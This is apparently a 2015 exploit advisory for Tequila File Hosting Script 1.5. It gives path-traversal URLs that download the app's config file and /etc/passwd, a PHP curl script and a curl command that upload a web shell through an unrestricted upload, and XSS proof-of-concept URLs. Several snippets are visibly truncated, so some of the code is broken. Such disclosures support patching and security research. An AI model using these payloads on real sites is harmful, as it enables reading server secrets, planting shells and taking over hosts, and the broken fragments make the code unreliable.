================================================================================
Tequila File Hosting Arbitrary File Download
================================================================================
# Vendor Homepage: http://codecanyon.net/item/tequila-file-hosting-script/7604312
# Date: 16/12/2015
# Author: Ashiyane Digital Security Team
# Version: 1.5
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/tequila-disclose.txt
================================================================================
# Description:
Tequila is a solid, safe, fast, simple and intuitive script which
allows companies or individuals to upload, manage and share their
files online. It is studied in every feature and was produced with
attention to every detail.
# PoC :
# Download Config
http://localhost/tequila/download.php?download.php?filename=files/../include/php/constants.php&name=file.php
# Download passwd
http://localhost/tequila/download.php?filename=files/../../../../../etc/passwd&name=passwd
# (PHP Exploit):
# Vulnerabile code:
#######################################################################
================================================================================
Tequila File Hosting Unrestricted File Upload
================================================================================
# PoC :
First register in the site===>
http://localhost/tequila/register.php
Next using this exploit :
'/username', 'file' => '@shell.php');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://localhost/tequila/upload.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>
or
curl -i -F folder='/ehsann' -F file=@ehsan.png
http://localhost/tequila/upload.php
Sheller uploaded.
Path of shell : http://localhost/tequila/files/username/shell.php
#######################################################################
================================================================================
Tequila File Hosting Coss Site Scripting
================================================================================
# PoC :
http://localhost/files.php?folder=">
http://easyhost.me/file.php?file=">
================================================================================
# Discovered By : Ehsan Hosseini (EhsanSec.ir)
================================================================================